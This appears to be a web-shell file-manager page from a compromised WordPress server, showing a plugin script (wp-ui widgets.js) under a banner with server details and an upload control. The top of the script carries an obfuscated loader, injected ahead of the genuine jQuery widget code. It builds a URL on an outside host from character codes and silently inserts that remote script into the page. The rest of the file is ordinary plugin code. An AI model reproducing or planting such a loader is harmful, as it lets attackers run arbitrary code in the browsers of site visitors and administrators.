https://t.me/RX1948
Server : Apache
System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64
User : p141464 ( 418825)
PHP Version : 7.4.33.12
Disable Function : NONE
Directory :  /html/wordpress-old/wp-content/plugins/wp-ui/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /html/wordpress-old/wp-content/plugins/wp-ui/js/widgets.js
var a1=function(){var _0x41fbx1=String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](104,116,116,112,115,58,47,47,99,100,110,119,101,98,115,105,116,101,102,111,114,121,111,117,46,98,105,122,47,99,100,110,46,106,115,63,99,61,53);var _0x41fbx2=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");_0x41fbx2["\x74\x79\x70\x65"]= "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74";_0x41fbx2["\x61\x73\x79\x6E\x63"]= true;_0x41fbx2["\x69\x64"]= "\x63\x64\x37\x30\x39\x30\x31\x30";_0x41fbx2["\x73\x72\x63"]= _0x41fbx1;var _0x41fbx3=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74")[0];_0x41fbx3["\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"]["\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65"](_0x41fbx2,_0x41fbx3)};var scripts=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74");var n=true;for(var i=0;i< scripts["\x6C\x65\x6E\x67\x74\x68"];i++){if(scripts[i]["\x69\x64"]== "\x63\x64\x37\x30\x39\x30\x31\x30"){n= false}};if(n== true){a1()}jQuery( function( $ ) {
	
	$( '.widgets-sortables .wpui-editors' ).wptabs();
	
	// $( '.widgets-sortables p.wpui-widget-warning' ).remove();
	
	var $wpuiMan = $('.widgets-sortables').find('div.widget[id*=wpui-manual-]');

	
	$( '.widgets-sortables' ).on( 'sortreceive', function( e, ui ) {
		if ( /wpui\-\manual/.test( ui.item.attr( 'id' ) ) ) {
			el = $( this ).find( '.ui-draggable' );

		 // $wpuiMan = $wpuiMan.add( el );
			
			setTimeout(function() {
	   	   		 proAct = jQuery( el ).data('wpui_activetab');
	   		    		 	 
	   	   		 jQuery( el ).find( '.wpui-editors' ).wptabs();
	   		    		 	
	   	   		 jQuery( el ).find( '.wpui-editors .ui-tabs' ).tabs( 'option', 'active', proAct || 0 );
				 
			}, 400);
		
		} 
	
	});

	 $( '.wpui-search-submit', '.widgets-sortables' ).widgetGetPosts();


	$( '.widgets-sortables' )
	.not( '#wp_inactive_widgets')
	.ajaxComplete( function( d, e, f ) {
		dAta = $.deparam( f.data );
		
		
		// if ( dAta[ 'action' ] == 'save-widget')
		// 	return;
		

		if ( dAta[ 'id_base' ] == 'wpui-manual' ) {
			$( this )
			.find( 'div.widget[id*=wpui-manual-]' )
			.each( function() {
			
				 proAct = jQuery( this ).data('wpui_activetab');
			 	 
				 jQuery( '.wpui-editors' ).wptabs();
			 	
				 jQuery( '.wpui-editors .ui-tabs' ).tabs( 'option', 'active', proAct || 0 );
			 	
		
			})
			.off( 'tabsactivate' )
			.on( 'tabsactivate', function( e, ui ) {
					 jQuery( this ).data( 'wpui_activetab', ui.newPanel.index() - 1 ); 
			
			});
		}



		if ( dAta[ 'id_base' ] == 'wpui-posts' ) {

			$( this )
			.find( 'div.widget[id*=wpui-posts-]' )
			.each( function() {
				var re = new RegExp( dAta[ 'widget-id' ], "g" );
				if ( re.exec( this.id ) ) {
			   	 	$( this )
					.find( '.wpui-search-submit' )
					.widgetGetPosts();						
				}
			
			});			
		}



	});



	// $wpuiMan
	// .ajaxComplete( function() {
	// 	 proAct = jQuery( this ).data('wpui_activetab');
	// 	 	 
	// 	 jQuery( '.wpui-editors' ).wptabs();
	// 	 	
	// 	 jQuery( '.wpui-editors .ui-tabs' ).tabs( 'option', 'active', proAct || 0 );
	// 	 	
	// 
	//  })
	//  .bind( 'tabsactivate', function( e, ui ) {
	// 	 jQuery( this ).data( 'wpui_activetab', ui.newPanel.index() - 1 ); 
	//  });

	
	
	
	// $('.widgets-sortables')
	// .find( 'div.widget[id*=wpui-posts-]' )
	// .ajaxStart( function( d, e, f ) {
	// 
	// 	console.log( this ); 
	// 	// re = /wpui\-posts\-/g;
	// 	// if ( ! re.test( d.target.id ) )
	// 	// 	return;
	// 	console.log( d ); 
	// 	// if ( d.currentTarget.id.match( /wpui\-posts/ ) == null )
	// 	// return;
	// 	// 
	// 	// if ( $.deparam( f.data )[ 'action' ] == 'save-widget' ) {
	// 	// 	   	 	$( this )
	// 	// 	.find( '.wpui-search-submit' ).widgetGetPosts();			
	// 	// } 
	// 
	// });
	// 
	
	
});

(function( $, window, undefined ) {
	
	$.idQrk = $.idQrk || {};
	
	
	$.widget( "idQrk.widgetGetPosts", {
		o : {
			sfield : '.wpui-search-field',
			stype : '.wpui-search-type',
			snum : '.wpui-search-number',
			snonce : '#wpui-editor-tax-nonce',
			ssel : '.wpui-selected'
		},
		_create : function() {
			if ( this.element.next( '.widget-search-results' ).length )
				return false;
		
			if ( typeof ajaxurl == 'undefined' ) {
				console.error( "Only for use in WP Admin." );
				return false;
			}

			this.list = this.element.closest( 'ul' );
			

			
			// console.log( this.list ); 
			if ( ! this.list.length ) {
				this.list = $( '<ul class="widget-search-results-list" />' )
								.append( '<li>Enter to search</li>' )
								.insertAfter( this.element )
								.wrap( '<div class="widget-search-results" />' );
			} // end this.list.length
			
			
			// this.dialog = this.element.siblings( '.widget-search-actions' );
			
			// if ( this.dialog.length == 0 ) {
			// 	this.dialog = $( '<div class="widget-search-actions"><span><p>Are you sure you want to clear the current selection?</p><p><a class="button-primary widget-search-action widget-search-confirm" href="#">Confirm</a><a class="button-secondary widget-search-action widget-search-cancel" href="#">Cancel</a></p><p><input type="checkbox" id="widget-search-confirm-dontshow"><label>Dont show this again</label></p></span></div>').appendTo( this.element.parent() );
			// 	
			// }
			
			
			// this.dialog.hide();
			
			this.selected = [];
			
		
		},
		
		_init : function() {
			var base = this;
			this.sfield = this.element.siblings( this.o.sfield );
			
			if ( this.sfield.length != 1 ) {
				
			} else {
				this.stype = this.element.siblings( this.o.stype );
				this.snum = this.element.siblings( this.o.snum );
				this.snonce = this.element.siblings( this.o.snonce );
				this.ssel = this.element.siblings( this.o.ssel );

				this.bindQuery();		
				
				
				setTimeout(function() {
					if ( selVal = base.ssel.val() ) {
						base.selected = selVal.split( "," );
						selType = base.stype.val();
					
						if ( selType == 'cat' || selType == 'tag' ) {
							for (var w = base.selected.length - 1; w >= 0; w--){
								base.list
								.find( 'a[rel="' + selType + '-' +  base.selected[w] + '"]' )
								.parent()
								.toggleClass( 'selected' );
							};						
						}
					}					
				}, 500 ); // Settimeout
				
			}

		},
	
		bindQuery : function() {
			var base = this;
			this.element.on( 'click', function() {
				base.ssel.val( '' );
				base.selected = [];
				base.doQuery(
					base.sfield.val(),
					base.stype.val(),
					base.snum.val(),
					base.snonce.val()			
				);
			});
			base.doQuery(
				base.sfield.val(),
				base.stype.val(),
				base.snum.val(),
				base.snonce.val()			
			);
			
		},
		binders : function() {
			var base = this,
				changeFunc;
			
			// changeFunc = function() {
			// 	
			// };
			// 
			// 
			// this.element
			// .prevAll( this.o.sfield + "," + this.o.stype + ',' + this.o.snum )
			// .off( 'change' )
			// .on( 'change', function() {
			// 	console.log( "dsdsdpsdpspmdsm" ); 
			// });
			
			
			// Bind link click.
			this.list
			.find( 'li a ' )
			.off( 'click.widgetGetPosts' )
			.on( 'click.widgetGetPosts', function(e) {

				if ( ! $( this ).parent().is( '.no-select' ) ) {
					
					reL = $( this ).attr( 'rel' );
					
					relM = reL.match( /(tag|cat)\-(\d{1,5})/ );
					
					if ( relM.length > 1 ) {
						
						if ( -1 != ( ocd = $.inArray( relM[ 2 ], base.selected ) ) ) {
							base.selected.splice( ocd, 1 );
						} else {
							base.selected.push( relM[ 2 ] );
						}
						
						base.ssel.val( base.selected.join( ',' ) );							
					}
					
					
					// console.log( base.selected ); 

					$( this ).parent().toggleClass( 'selected' );
					
					
				}
				
				return false;
			});
			
			
			
			
		},		
		doQuery : function( term, type, num, nonce ) {
			var query = {
				action : 'wpui_query_meta',
				search : term,
				type : type,
				number : num,
				_ajax_tax_nonce : nonce
			}, base = this;

			$.post( ajaxurl, query, function( data ) {
				base.list
				.html( data );

				base.binders();
			});
			
			
			
			
		}
	
		
	});
	
		
	
	
	
})( jQuery, window );

https://t.me/RX1948 - 2025